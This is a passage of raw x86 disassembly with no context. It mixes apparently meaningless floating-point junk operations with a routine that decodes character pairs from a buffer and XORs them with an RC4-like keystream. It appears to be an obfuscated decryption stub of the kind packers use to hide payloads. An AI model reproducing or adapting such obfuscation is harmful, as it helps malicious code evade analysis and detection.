addsd xmm0, qword [ebp - 0x3a38]
movsd qword [ebp - 0x3744], xmm0
movsd xmm0, qword [ebp - 0x3a38]
divsd xmm0, qword [ebp - 0x4184]
movsd qword [ebp - 0x3a38], xmm0
movsd xmm0, qword [ebp - 0x3bac]
comisd xmm0, xmmword [ebp - 0x3744]
jbe 0x437ee2
movsd xmm0, qword [ebp - 0x3e5c]
addsd xmm0, qword [ebp - 0x3744]
movsd qword [ebp - 0x3e5c], xmm0
movsd xmm0, qword [ebp - 0x3a38]
addsd xmm0, qword [ebp - 0x4184]
movsd qword [ebp - 0x3a38], xmm0
movsd xmm0, qword [ebp - 0x3a38]
addsd xmm0, qword [ebp - 0x4184]
movsd qword [ebp - 0x3a38], xmm0
movsd xmm0, qword [ebp - 0x421c]
mulsd xmm0, qword [ebp - 0x3bac]
movsd qword [ebp - 0x421c], xmm0
movsd xmm0, qword [ebp - 0x3744]
addsd xmm0, qword [ebp - 0x3a38]
movsd qword [ebp - 0x3744], xmm0
movsd xmm0, qword [ebp - 0x3744]
addsd xmm0, qword [ebp - 0x3a38]
movsd qword [ebp - 0x3744], xmm0
jmp 0x437f72
movsd xmm0, qword [ebp - 0x3bac]
divsd xmm0, qword [ebp - 0x3744]
movsd qword [ebp - 0x3bac], xmm0
movsd xmm0, qword [ebp - 0x3e5c]
subsd xmm0, qword [ebp - 0x3a38]
movsd qword [ebp - 0x3e5c], xmm0
movsd xmm0, qword [ebp - 0x3bac]
divsd xmm0, qword [ebp - 0x3744]
movsd qword [ebp - 0x3bac], xmm0
movsd xmm0, qword [ebp - 0x3a38]
addsd xmm0, qword [ebp - 0x421c]
movsd qword [ebp - 0x3a38], xmm0
movsd xmm0, qword [ebp - 0x3e5c]
mulsd xmm0, qword [ebp - 0x3a38]
movsd qword [ebp - 0x3e5c], xmm0
movsd xmm0, qword [ebp - 0x3bac]
subsd xmm0, qword [ebp - 0x3744]
movsd qword [ebp - 0x3bac], xmm0
jmp 0x438007
movsd xmm0, qword [ebp - 0x4184]
subsd xmm0, qword [ebp - 0x421c]
movsd qword [ebp - 0x4184], xmm0
movsd xmm0, qword [ebp - 0x421c]
mulsd xmm0, qword [ebp - 0x3bac]
movsd qword [ebp - 0x421c], xmm0
movsd xmm0, qword [ebp - 0x3e5c]
divsd xmm0, qword [ebp - 0x3744]
movsd qword [ebp - 0x3e5c], xmm0
movsd xmm0, qword [ebp - 0x3e5c]
divsd xmm0, qword [ebp - 0x3744]
movsd qword [ebp - 0x3e5c], xmm0
movsd xmm0, qword [ebp - 0x3744]
subsd xmm0, qword [ebp - 0x3a38]
movsd qword [ebp - 0x3744], xmm0
movsd xmm0, qword [ebp - 0x3e5c]
divsd xmm0, qword [ebp - 0x3744]
movsd qword [ebp - 0x3e5c], xmm0
cmp dword [ebp - 0x3340], 0
jle 0x438026
movsx dx, byte [ebp - 0x330a]
mov eax, dword [ebp - 0x3340]
mov word [ebp + eax*2 - 0x302], dx
jmp 0x43732b
mov ecx, dword [ebp - 0x3500]
add ecx, 1
mov dword [ebp - 0x3500], ecx
mov edx, dword [ebp - 0x3340]
add edx, 1
mov dword [ebp - 0x3340], edx
movsd xmm0, qword [0xa6efc0]
movsd qword [ebp - 0x4744], xmm0
movsd xmm0, qword [0xa6ef30]
movsd qword [ebp - 0x440c], xmm0
movsd xmm0, qword [0xa6ee10]
movsd qword [ebp - 0x4a48], xmm0
movsd xmm0, qword [0xa6ec60]
movsd qword [ebp - 0x6934], xmm0
movsd xmm0, qword [0xa6eaa0]
movsd qword [ebp - 0x4574], xmm0
movsd xmm0, qword [0xa6e860]
movsd qword [ebp - 0x473c], xmm0
movsd xmm0, qword [ebp - 0x6934]
mulsd xmm0, qword [ebp - 0x473c]
movsd qword [ebp - 0x6934], xmm0
movsd xmm0, qword [ebp - 0x440c]
subsd xmm0, qword [ebp - 0x473c]
movsd qword [ebp - 0x440c], xmm0
movsd xmm0, qword [ebp - 0x440c]
subsd xmm0, qword [ebp - 0x473c]
movsd qword [ebp - 0x440c], xmm0
movsd xmm0, qword [ebp - 0x4574]
mulsd xmm0, qword [ebp - 0x473c]
movsd qword [ebp - 0x4574], xmm0
movsd xmm0, qword [ebp - 0x440c]
subsd xmm0, qword [ebp - 0x473c]
movsd qword [ebp - 0x440c], xmm0
movsd xmm0, qword [ebp - 0x4744]
mulsd xmm0, qword [ebp - 0x473c]
movsd qword [ebp - 0x4744], xmm0
movsd xmm0, qword [ebp - 0x4744]
comisd xmm0, xmmword [ebp - 0x473c]
jbe 0x4381f3
movsd xmm0, qword [ebp - 0x4574]
subsd xmm0, qword [ebp - 0x4744]
movsd qword [ebp - 0x4574], xmm0
movsd xmm0, qword [ebp - 0x4a48]
mulsd xmm0, qword [ebp - 0x4574]
movsd qword [ebp - 0x4a48], xmm0
movsd xmm0, qword [ebp - 0x473c]
subsd xmm0, qword [ebp - 0x440c]
movsd qword [ebp - 0x473c], xmm0
movsd xmm0, qword [ebp - 0x4574]
mulsd xmm0, qword [ebp - 0x4744]
movsd qword [ebp - 0x4574], xmm0
movsd xmm0, qword [ebp - 0x4574]
addsd xmm0, qword [ebp - 0x4744]
movsd qword [ebp - 0x4574], xmm0
movsd xmm0, qword [ebp - 0x4a48]
addsd xmm0, qword [ebp - 0x4574]
movsd qword [ebp - 0x4a48], xmm0
mov eax, dword [ebp - 0x3500]
add eax, 1
mov dword [ebp - 0x3500], eax
jmp 0x438283
movsd xmm0, qword [ebp - 0x440c]
divsd xmm0, qword [ebp - 0x4a48]
movsd qword [ebp - 0x440c], xmm0
movsd xmm0, qword [ebp - 0x4574]
divsd xmm0, qword [ebp - 0x473c]
movsd qword [ebp - 0x4574], xmm0
movsd xmm0, qword [ebp - 0x440c]
mulsd xmm0, qword [ebp - 0x4a48]
movsd qword [ebp - 0x440c], xmm0
movsd xmm0, qword [ebp - 0x440c]
divsd xmm0, qword [ebp - 0x4a48]
movsd qword [ebp - 0x440c], xmm0
movsd xmm0, qword [ebp - 0x4744]
mulsd xmm0, qword [ebp - 0x440c]
movsd qword [ebp - 0x4744], xmm0
movsd xmm0, qword [ebp - 0x4744]
subsd xmm0, qword [ebp - 0x440c]
movsd qword [ebp - 0x4744], xmm0
mov ecx, dword [ebp - 0x3340]
shl ecx, 1
mov dword [ebp - 0x372c], ecx
mov edx, dword [ebp - 0x3730]
add edx, dword [ebp - 0x372c]
movzx eax, byte [edx]
mov dword [ebp - 0x3604], eax
mov dword [ebp - 0x3608], 0x27
mov ecx, dword [ebp - 0x3340]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x373c], edx
mov eax, dword [ebp - 0x3730]
add eax, dword [ebp - 0x373c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3610], ecx
mov dword [ebp - 0x3614], 0x15
mov edx, dword [ebp - 0x3604]
sub edx, dword [ebp - 0x3608]
mov dword [ebp - 0x3618], edx
mov eax, dword [ebp - 0x3610]
sub eax, dword [ebp - 0x3614]
mov dword [ebp - 0x361c], eax
mov ecx, dword [ebp - 0x3618]
shl ecx, 4
mov dword [ebp - 0x36a8], ecx
mov edx, dword [ebp - 0x361c]
mov dword [ebp - 0x36ac], edx
mov eax, dword [ebp - 0x36a8]
or eax, dword [ebp - 0x36ac]
mov dword [ebp - 0x36b0], eax
mov cl, byte [ebp - 0x36b0]
mov byte [ebp - 0x32c3], cl
movzx edx, byte [ebp - 0x328e]
mov al, byte [ebp + edx - 0x4f28]
mov byte [ebp - 0x32ba], al
movzx ecx, byte [ebp - 0x3264]
movzx edx, byte [ebp + ecx - 0x4f28]
movzx eax, byte [ebp - 0x3278]
add eax, edx
mov byte [ebp - 0x3278], al
mov cl, byte [ebp - 0x3264]
add cl, 1
mov byte [ebp - 0x3264], cl
movzx edx, byte [ebp - 0x3278]
movzx eax, byte [ebp - 0x328e]
mov cl, byte [ebp + edx - 0x4f28]
mov byte [ebp + eax - 0x4f28], cl
movzx edx, byte [ebp - 0x3277]
movzx eax, byte [ebp - 0x3278]
mov cl, byte [ebp + edx - 0x4f28]
mov byte [ebp + eax - 0x4f28], cl
movzx edx, byte [ebp - 0x3264]
movzx eax, byte [ebp - 0x3277]
mov cl, byte [ebp + edx - 0x4f28]
mov byte [ebp + eax - 0x4f28], cl
movzx edx, byte [ebp - 0x3264]
mov al, byte [ebp - 0x32ba]
mov byte [ebp + edx - 0x4f28], al
movzx ecx, byte [ebp - 0x32ba]
movzx edx, byte [ebp + ecx - 0x4f28]
movzx eax, byte [ebp - 0x32c2]
add eax, edx
mov byte [ebp - 0x32c2], al
movsd xmm0, qword [0xa6ee20]
movsd qword [ebp - 0x3a20], xmm0
movsd xmm0, qword [0xa6ed10]
movsd qword [ebp - 0x4404], xmm0
movsd xmm0, qword [0xa6ebc0]
movsd qword [ebp - 0x3ea8], xmm0
movsd xmm0, qword [0xa6eaa8]
movsd qword [ebp - 0x3bb4], xmm0
movsd xmm0, qword [0xa6e938]
movsd qword [ebp - 0x3b28], xmm0
movsd xmm0, qword [0xa6e710]
movsd qword [ebp - 0x3ac0], xmm0
movsd xmm0, qword [ebp - 0x3ea8]
mulsd xmm0, qword [ebp - 0x3ac0]
movsd qword [ebp - 0x3ea8], xmm0
movsd xmm0, qword [ebp - 0x4404]
subsd xmm0, qword [ebp - 0x3ac0]
movsd qword [ebp - 0x4404], xmm0
movsd xmm0, qword [ebp - 0x3b28]
subsd xmm0, qword [ebp - 0x3ac0]
movsd qword [ebp - 0x3b28], xmm0
movsd xmm0, qword [ebp - 0x3a20]
mulsd xmm0, qword [ebp - 0x3ac0]
movsd qword [ebp - 0x3a20], xmm0
movsd xmm0, qword [ebp - 0x3bb4]
addsd xmm0, qword [ebp - 0x3ac0]
movsd qword [ebp - 0x3bb4], xmm0
movsd xmm0, qword [ebp - 0x3a20]
mulsd xmm0, qword [ebp - 0x3ac0]
movsd qword [ebp - 0x3a20], xmm0
movsd xmm0, qword [ebp - 0x3b28]
comisd xmm0, xmmword [ebp - 0x3a20]
jbe 0x438934
movsd xmm0, qword [ebp - 0x3ac0]
subsd xmm0, qword [ebp - 0x4404]
movsd qword [ebp - 0x3ac0], xmm0
movsd xmm0, qword [ebp - 0x3ac0]
addsd xmm0, qword [ebp - 0x4404]
movsd qword [ebp - 0x3ac0], xmm0
movsd xmm0, qword [ebp - 0x3bb4]
subsd xmm0, qword [ebp - 0x3ac0]
movsd qword [ebp - 0x3bb4], xmm0
movsd xmm0, qword [ebp - 0x3bb4]
mulsd xmm0, qword [ebp - 0x3ac0]
movsd qword [ebp - 0x3bb4], xmm0
movsd xmm0, qword [ebp - 0x3a20]
addsd xmm0, qword [ebp - 0x3ea8]
movsd qword [ebp - 0x3a20], xmm0
movsd xmm0, qword [ebp - 0x3b28]
mulsd xmm0, qword [ebp - 0x3a20]
movsd qword [ebp - 0x3b28], xmm0
movsd xmm0, qword [ebp - 0x3bb4]
subsd xmm0, qword [ebp - 0x3b28]
movsd qword [ebp - 0x3bb4], xmm0
movsd xmm0, qword [ebp - 0x3a20]
addsd xmm0, qword [ebp - 0x4404]
movsd qword [ebp - 0x3a20], xmm0
movsd xmm0, qword [ebp - 0x3ac0]
divsd xmm0, qword [ebp - 0x3a20]
movsd qword [ebp - 0x3ac0], xmm0
movsd xmm0, qword [ebp - 0x3a20]
mulsd xmm0, qword [ebp - 0x4404]
movsd qword [ebp - 0x3a20], xmm0
movsd xmm0, qword [ebp - 0x3ea8]
addsd xmm0, qword [ebp - 0x3bb4]
movsd qword [ebp - 0x3ea8], xmm0
movsd xmm0, qword [ebp - 0x3a20]
subsd xmm0, qword [ebp - 0x4404]
movsd qword [ebp - 0x3a20], xmm0
movsd xmm0, qword [ebp - 0x4404]
comisd xmm0, xmmword [ebp - 0x3bb4]
jbe 0x43889f
movsd xmm0, qword [ebp - 0x3b28]
addsd xmm0, qword [ebp - 0x3ac0]
movsd qword [ebp - 0x3b28], xmm0
movsd xmm0, qword [ebp - 0x3ac0]
addsd xmm0, qword [ebp - 0x3a20]
movsd qword [ebp - 0x3ac0], xmm0
movsd xmm0, qword [ebp - 0x3ac0]
subsd xmm0, qword [ebp - 0x3a20]
movsd qword [ebp - 0x3ac0], xmm0
movsd xmm0, qword [ebp - 0x3a20]
addsd xmm0, qword [ebp - 0x4404]
movsd qword [ebp - 0x3a20], xmm0
movsd xmm0, qword [ebp - 0x3bb4]
addsd xmm0, qword [ebp - 0x3b28]
movsd qword [ebp - 0x3bb4], xmm0
movsd xmm0, qword [ebp - 0x3b28]
mulsd xmm0, qword [ebp - 0x3ac0]
movsd qword [ebp - 0x3b28], xmm0
movsd xmm0, qword [ebp - 0x3ea8]
mulsd xmm0, qword [ebp - 0x3bb4]
movsd qword [ebp - 0x3ea8], xmm0
movsd xmm0, qword [ebp - 0x3b28]
divsd xmm0, qword [ebp - 0x3ac0]
movsd qword [ebp - 0x3b28], xmm0
movsd xmm0, qword [ebp - 0x4404]
addsd xmm0, qword [ebp - 0x3ea8]
movsd qword [ebp - 0x4404], xmm0
movsd xmm0, qword [ebp - 0x3b28]
subsd xmm0, qword [ebp - 0x3ac0]
movsd qword [ebp - 0x3b28], xmm0
movsd xmm0, qword [ebp - 0x3a20]
mulsd xmm0, qword [ebp - 0x4404]
movsd qword [ebp - 0x3a20], xmm0
movsd xmm0, qword [ebp - 0x3ea8]
mulsd xmm0, qword [ebp - 0x3bb4]
movsd qword [ebp - 0x3ea8], xmm0
movsd xmm0, qword [ebp - 0x3bb4]
comisd xmm0, xmmword [ebp - 0x3ac0]
jbe 0x43880a
movsd xmm0, qword [ebp - 0x3a20]
mulsd xmm0, qword [ebp - 0x4404]
movsd qword [ebp - 0x3a20], xmm0
movsd xmm0, qword [ebp - 0x3ea8]
divsd xmm0, qword [ebp - 0x3bb4]
movsd qword [ebp - 0x3ea8], xmm0
movsd xmm0, qword [ebp - 0x3bb4]
mulsd xmm0, qword [ebp - 0x3b28]
movsd qword [ebp - 0x3bb4], xmm0
movsd xmm0, qword [ebp - 0x3bb4]
divsd xmm0, qword [ebp - 0x3b28]
movsd qword [ebp - 0x3bb4], xmm0
movsd xmm0, qword [ebp - 0x3b28]
addsd xmm0, qword [ebp - 0x3ac0]
movsd qword [ebp - 0x3b28], xmm0
movsd xmm0, qword [ebp - 0x3ac0]
subsd xmm0, qword [ebp - 0x3a20]
movsd qword [ebp - 0x3ac0], xmm0
jmp 0x43889a
movsd xmm0, qword [ebp - 0x3b28]
addsd xmm0, qword [ebp - 0x3ac0]
movsd qword [ebp - 0x3b28], xmm0
movsd xmm0, qword [ebp - 0x3ac0]
mulsd xmm0, qword [ebp - 0x3a20]
movsd qword [ebp - 0x3ac0], xmm0
movsd xmm0, qword [ebp - 0x3bb4]
subsd xmm0, qword [ebp - 0x3b28]
movsd qword [ebp - 0x3bb4], xmm0
movsd xmm0, qword [ebp - 0x3ea8]
subsd xmm0, qword [ebp - 0x3bb4]
movsd qword [ebp - 0x3ea8], xmm0
movsd xmm0, qword [ebp - 0x3bb4]
addsd xmm0, qword [ebp - 0x3b28]
movsd qword [ebp - 0x3bb4], xmm0
movsd xmm0, qword [ebp - 0x4404]
addsd xmm0, qword [ebp - 0x3ea8]
movsd qword [ebp - 0x4404], xmm0
jmp 0x43892f
movsd xmm0, qword [ebp - 0x3bb4]
divsd xmm0, qword [ebp - 0x3ac0]
movsd qword [ebp - 0x3bb4], xmm0
movsd xmm0, qword [ebp - 0x3b28]
subsd xmm0, qword [ebp - 0x3a20]
movsd qword [ebp - 0x3b28], xmm0
movsd xmm0, qword [ebp - 0x3b28]
subsd xmm0, qword [ebp - 0x3a20]
movsd qword [ebp - 0x3b28], xmm0
movsd xmm0, qword [ebp - 0x3bb4]
addsd xmm0, qword [ebp - 0x3ac0]
movsd qword [ebp - 0x3bb4], xmm0
movsd xmm0, qword [ebp - 0x3ea8]
mulsd xmm0, qword [ebp - 0x3b28]
movsd qword [ebp - 0x3ea8], xmm0
movsd xmm0, qword [ebp - 0x3bb4]
addsd xmm0, qword [ebp - 0x3ac0]
movsd qword [ebp - 0x3bb4], xmm0
jmp 0x438a48
movsd xmm0, qword [ebp - 0x3ea8]
mulsd xmm0, qword [ebp - 0x3b28]
movsd qword [ebp - 0x3ea8], xmm0
movsd xmm0, qword [ebp - 0x3ea8]
subsd xmm0, qword [ebp - 0x3b28]
movsd qword [ebp - 0x3ea8], xmm0
movsd xmm0, qword [ebp - 0x3a20]
mulsd xmm0, qword [ebp - 0x3ea8]
movsd qword [ebp - 0x3a20], xmm0
movsd xmm0, qword [ebp - 0x3a20]
mulsd xmm0, qword [ebp - 0x3ea8]
movsd qword [ebp - 0x3a20], xmm0
movsd xmm0, qword [ebp - 0x3a20]
mulsd xmm0, qword [ebp - 0x3ea8]
movsd qword [ebp - 0x3a20], xmm0
movsd xmm0, qword [ebp - 0x3b28]
subsd xmm0, qword [ebp - 0x3a20]
movsd qword [ebp - 0x3b28], xmm0
movzx ecx, byte [ebp - 0x32c3]
movzx edx, byte [ebp - 0x3278]
movzx eax, byte [ebp + edx - 0x4f28]
movzx edx, byte [ebp - 0x3264]
movzx edx, byte [ebp + edx - 0x4f28]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4f28]
xor ecx, eax
movzx edx, byte [ebp - 0x3277]
movzx eax, byte [ebp + edx - 0x4f28]
movzx edx, byte [ebp - 0x328e]
movzx edx, byte [ebp + edx - 0x4f28]
add eax, edx
movzx edx, byte [ebp - 0x32c2]
movzx edx, byte [ebp + edx - 0x4f28]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4f28]
movzx edx, byte [ebp + eax - 0x4f28]
xor ecx, edx
mov byte [ebp - 0x3277], cl
mov al, byte [ebp - 0x32c3]
mov byte [ebp - 0x328e], al
mov cl, byte [ebp - 0x3277]
mov byte [ebp - 0x330a], cl
cmp dword [ebp - 0x3340], 0
jle 0x438a7f
movsx dx, byte [ebp - 0x330a]
mov eax, dword [ebp - 0x3340]
mov word [ebp + eax*2 - 0x302], dx
mov ecx, dword [ebp - 0x3340]
add ecx, 1
mov dword [ebp - 0x3340], ecx
mov edx, dword [ebp - 0x3500]
add edx, 1
mov dword [ebp - 0x3500], edx
mov eax, dword [ebp - 0x3340]
shl eax, 1
mov dword [ebp - 0x372c], eax
mov ecx, dword [ebp - 0x3730]
add ecx, dword [ebp - 0x372c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3604], edx
mov dword [ebp - 0x3608], 0x27
mov eax, dword [ebp - 0x3340]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x373c], ecx
mov edx, dword [ebp - 0x3730]
add edx, dword [ebp - 0x373c]
movzx eax, byte [edx]
mov dword [ebp - 0x3610], eax
mov dword [ebp - 0x3614], 0x15
mov ecx, dword [ebp - 0x3604]
sub ecx, dword [ebp - 0x3608]
mov dword [ebp - 0x3618], ecx
mov edx, dword [ebp - 0x3610]
sub edx, dword [ebp - 0x3614]
mov dword [ebp - 0x361c], edx
mov eax, dword [ebp - 0x3618]
shl eax, 4
mov dword [ebp - 0x36a8], eax
mov ecx, dword [ebp - 0x361c]
mov dword [ebp - 0x36ac], ecx
mov edx, dword [ebp - 0x36a8]
or edx, dword [ebp - 0x36ac]
mov dword [ebp - 0x36b0], edx
movsd xmm0, qword [0xa6ec90]
movsd qword [ebp - 0x4378], xmm0
movsd xmm0, qword [0xa6eab0]
movsd qword [ebp - 0x3d18], xmm0
movsd xmm0, qword [0xa6e868]
movsd qword [ebp - 0x43fc], xmm0
movsd xmm0, qword [ebp - 0x3d18]
addsd xmm0, qword [ebp - 0x43fc]
movsd qword [ebp - 0x3d18], xmm0
movsd xmm0, qword [ebp - 0x3d18]
subsd xmm0, qword [ebp - 0x43fc]
movsd qword [ebp - 0x3d18], xmm0
movsd xmm0, qword [ebp - 0x3d18]
addsd xmm0, qword [ebp - 0x43fc]
movsd qword [ebp - 0x3d18], xmm0
movsd xmm0, qword [ebp - 0x3d18]
comisd xmm0, xmmword [ebp - 0x43fc]
jbe 0x438c2d
movsd xmm0, qword [ebp - 0x3d18]
subsd xmm0, qword [ebp - 0x4378]
movsd qword [ebp - 0x3d18], xmm0
movsd xmm0, qword [ebp - 0x4378]
addsd xmm0, qword [ebp - 0x43fc]
movsd qword [ebp - 0x4378], xmm0
movsd xmm0, qword [ebp - 0x4378]
subsd xmm0, qword [ebp - 0x43fc]
movsd qword [ebp - 0x4378], xmm0
mov al, byte [ebp - 0x36b0]
mov byte [ebp - 0x32c3], al
jmp 0x438d61
movsd xmm0, qword [ebp - 0x3d18]
addsd xmm0, qword [ebp - 0x4378]
movsd qword [ebp - 0x3d18], xmm0
movsd xmm0, qword [ebp - 0x4378]
mulsd xmm0, qword [ebp - 0x43fc]
movsd qword [ebp - 0x4378], xmm0
movsd xmm0, qword [ebp - 0x3d18]
subsd xmm0, qword [ebp - 0x4378]
movsd qword [ebp - 0x3d18], xmm0
movsd xmm0, qword [ebp - 0x43fc]
subsd xmm0, qword [ebp - 0x3d18]
movsd qword [ebp - 0x43fc], xmm0
movsd xmm0, qword [ebp - 0x3d18]
mulsd xmm0, qword [ebp - 0x4378]
movsd qword [ebp - 0x3d18], xmm0
movsd xmm0, qword [ebp - 0x4378]
subsd xmm0, qword [ebp - 0x43fc]
movsd qword [ebp - 0x4378], xmm0
movsd xmm0, qword [ebp - 0x43fc]
comisd xmm0, xmmword [ebp - 0x3d18]
jbe 0x438d19
movsd xmm0, qword [ebp - 0x3d18]
addsd xmm0, qword [ebp - 0x43fc]
movsd qword [ebp - 0x3d18], xmm0
movsd xmm0, qword [ebp - 0x3d18]
mulsd xmm0, qword [ebp - 0x43fc]
movsd qword [ebp - 0x3d18], xmm0
movsd xmm0, qword [ebp - 0x3d18]
subsd xmm0, qword [ebp - 0x43fc]
movsd qword [ebp - 0x3d18], xmm0
jmp 0x438d61
movsd xmm0, qword [ebp - 0x3d18]
subsd xmm0, qword [ebp - 0x43fc]
movsd qword [ebp - 0x3d18], xmm0
movsd xmm0, qword [ebp - 0x4378]
addsd xmm0, qword [ebp - 0x3d18]
movsd qword [ebp - 0x4378], xmm0
movsd xmm0, qword [ebp - 0x4378]
addsd xmm0, qword [ebp - 0x3d18]
movsd qword [ebp - 0x4378], xmm0
movzx ecx, byte [ebp - 0x328e]
mov dl, byte [ebp + ecx - 0x4f28]
mov byte [ebp - 0x32ba], dl
movzx eax, byte [ebp - 0x3264]
movzx ecx, byte [ebp + eax - 0x4f28]
movzx edx, byte [ebp - 0x3278]
add edx, ecx
mov byte [ebp - 0x3278], dl
mov al, byte [ebp - 0x3264]
add al, 1
mov byte [ebp - 0x3264], al
movzx ecx, byte [ebp - 0x3278]
movzx edx, byte [ebp - 0x328e]
mov al, byte [ebp + ecx - 0x4f28]
mov byte [ebp + edx - 0x4f28], al
movzx ecx, byte [ebp - 0x3277]
movzx edx, byte [ebp - 0x3278]
mov al, byte [ebp + ecx - 0x4f28]
mov byte [ebp + edx - 0x4f28], al
movzx ecx, byte [ebp - 0x3264]
movzx edx, byte [ebp - 0x3277]
mov al, byte [ebp + ecx - 0x4f28]
mov byte [ebp + edx - 0x4f28], al
movzx ecx, byte [ebp - 0x3264]
mov dl, byte [ebp - 0x32ba]
mov byte [ebp + ecx - 0x4f28], dl
movzx eax, byte [ebp - 0x32ba]
movzx ecx, byte [ebp + eax - 0x4f28]
movzx edx, byte [ebp - 0x32c2]
add edx, ecx
mov byte [ebp - 0x32c2], dl
movzx eax, byte [ebp - 0x32c3]
movzx ecx, byte [ebp - 0x3278]
movzx edx, byte [ebp + ecx - 0x4f28]
movzx ecx, byte [ebp - 0x3264]
movzx ecx, byte [ebp + ecx - 0x4f28]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4f28]
xor eax, edx
movzx ecx, byte [ebp - 0x3277]
movzx edx, byte [ebp + ecx - 0x4f28]
movzx ecx, byte [ebp - 0x328e]
movzx ecx, byte [ebp + ecx - 0x4f28]
add edx, ecx
movzx ecx, byte [ebp - 0x32c2]
movzx ecx, byte [ebp + ecx - 0x4f28]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4f28]
movzx ecx, byte [ebp + edx - 0x4f28]
xor eax, ecx
mov byte [ebp - 0x3277], al
mov dl, byte [ebp - 0x32c3]
mov byte [ebp - 0x328e], dl
mov al, byte [ebp - 0x3277]
mov byte [ebp - 0x330a], al
cmp dword [ebp - 0x3340], 0
jle 0x438ee4
movsx cx, byte [ebp - 0x330a]
mov edx, dword [ebp - 0x3340]
mov word [ebp + edx*2 - 0x302], cx
mov eax, dword [ebp - 0x3340]
add eax, 1
mov dword [ebp - 0x3340], eax
mov ecx, dword [ebp - 0x3500]
add ecx, 1
mov dword [ebp - 0x3500], ecx
mov edx, dword [ebp - 0x3340]
shl edx, 1
mov dword [ebp - 0x372c], edx
mov eax, dword [ebp - 0x3730]
add eax, dword [ebp - 0x372c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3604], ecx
mov dword [ebp - 0x3608], 0x27
mov edx, dword [ebp - 0x3340]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x373c], eax
mov ecx, dword [ebp - 0x3730]
add ecx, dword [ebp - 0x373c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3610], edx
mov dword [ebp - 0x3614], 0x15
mov eax, dword [ebp - 0x3604]
sub eax, dword [ebp - 0x3608]
mov dword [ebp - 0x3618], eax
mov ecx, dword [ebp - 0x3610]
sub ecx, dword [ebp - 0x3614]
mov dword [ebp - 0x361c], ecx
mov edx, dword [ebp - 0x3618]
shl edx, 4
mov dword [ebp - 0x36a8], edx
mov eax, dword [ebp - 0x361c]
mov dword [ebp - 0x36ac], eax
mov ecx, dword [ebp - 0x36a8]
or ecx, dword [ebp - 0x36ac]
mov dword [ebp - 0x36b0], ecx
mov dl, byte [ebp - 0x36b0]
mov byte [ebp - 0x32c3], dl
movzx eax, byte [ebp - 0x328e]
mov cl, byte [ebp + eax - 0x4f28]
mov byte [ebp - 0x32ba], cl
movzx edx, byte [ebp - 0x3264]
movzx eax, byte [ebp + edx - 0x4f28]
movzx ecx, byte [ebp - 0x3278]
add ecx, eax
mov byte [ebp - 0x3278], cl
mov dl, byte [ebp - 0x3264]
add dl, 1
mov byte [ebp - 0x3264], dl
movzx eax, byte [ebp - 0x3278]
movzx ecx, byte [ebp - 0x328e]
mov dl, byte [ebp + eax - 0x4f28]
mov byte [ebp + ecx - 0x4f28], dl
movzx eax, byte [ebp - 0x3277]
movzx ecx, byte [ebp - 0x3278]
mov dl, byte [ebp + eax - 0x4f28]
mov byte [ebp + ecx - 0x4f28], dl
movzx eax, byte [ebp - 0x3264]
movzx ecx, byte [ebp - 0x3277]
mov dl, byte [ebp + eax - 0x4f28]
mov byte [ebp + ecx - 0x4f28], dl
movzx eax, byte [ebp - 0x3264]
mov cl, byte [ebp - 0x32ba]
mov byte [ebp + eax - 0x4f28], cl
movzx edx, byte [ebp - 0x32ba]
movzx eax, byte [ebp + edx - 0x4f28]
movzx ecx, byte [ebp - 0x32c2]
add ecx, eax
mov byte [ebp - 0x32c2], cl
movzx edx, byte [ebp - 0x32c3]
movzx eax, byte [ebp - 0x3278]
movzx ecx, byte [ebp + eax - 0x4f28]
movzx eax, byte [ebp - 0x3264]
movzx eax, byte [ebp + eax - 0x4f28]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4f28]
xor edx, ecx
movzx eax, byte [ebp - 0x3277]
movzx ecx, byte [ebp + eax - 0x4f28]
movzx eax, byte [ebp - 0x328e]
movzx eax, byte [ebp + eax - 0x4f28]
add ecx, eax
movzx eax, byte [ebp - 0x32c2]
movzx eax, byte [ebp + eax - 0x4f28]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4f28]
movzx eax, byte [ebp + ecx - 0x4f28]
xor edx, eax
mov byte [ebp - 0x3277], dl
mov cl, byte [ebp - 0x32c3]
mov byte [ebp - 0x328e], cl
mov dl, byte [ebp - 0x3277]
mov byte [ebp - 0x330a], dl
cmp dword [ebp - 0x3340], 0
jle 0x43913f
movsx ax, byte [ebp - 0x330a]
mov ecx, dword [ebp - 0x3340]
mov word [ebp + ecx*2 - 0x302], ax
mov edx, dword [ebp - 0x3500]
add edx, 0x11
mov dword [ebp - 0x3500], edx
mov eax, dword [ebp - 0x3340]
add eax, 1
mov dword [ebp - 0x4afc], eax
jmp 0x43916e
mov ecx, dword [ebp - 0x4afc]
add ecx, 1
mov dword [ebp - 0x4afc], ecx
mov edx, dword [ebp - 0x4afc]
cmp edx, dword [ebp - 0x3500]
jge 0x4393cf
mov eax, dword [ebp - 0x3340]
add eax, 1
mov dword [ebp - 0x3340], eax
mov ecx, dword [ebp - 0x3340]
shl ecx, 1
mov dword [ebp - 0x372c], ecx
mov edx, dword [ebp - 0x3730]
add edx, dword [ebp - 0x372c]
movzx eax, byte [edx]
mov dword [ebp - 0x3604], eax
mov dword [ebp - 0x3608], 0x27
mov ecx, dword [ebp - 0x3340]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x373c], edx
mov eax, dword [ebp - 0x3730]
add eax, dword [ebp - 0x373c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3610], ecx
mov dword [ebp - 0x3614], 0x15
mov edx, dword [ebp - 0x3604]
sub edx, dword [ebp - 0x3608]
mov dword [ebp - 0x3618], edx
mov eax, dword [ebp - 0x3610]
sub eax, dword [ebp - 0x3614]
mov dword [ebp - 0x361c], eax
mov ecx, dword [ebp - 0x3618]
shl ecx, 4
mov dword [ebp - 0x36a8], ecx
mov edx, dword [ebp - 0x361c]
mov dword [ebp - 0x36ac], edx
mov eax, dword [ebp - 0x36a8]
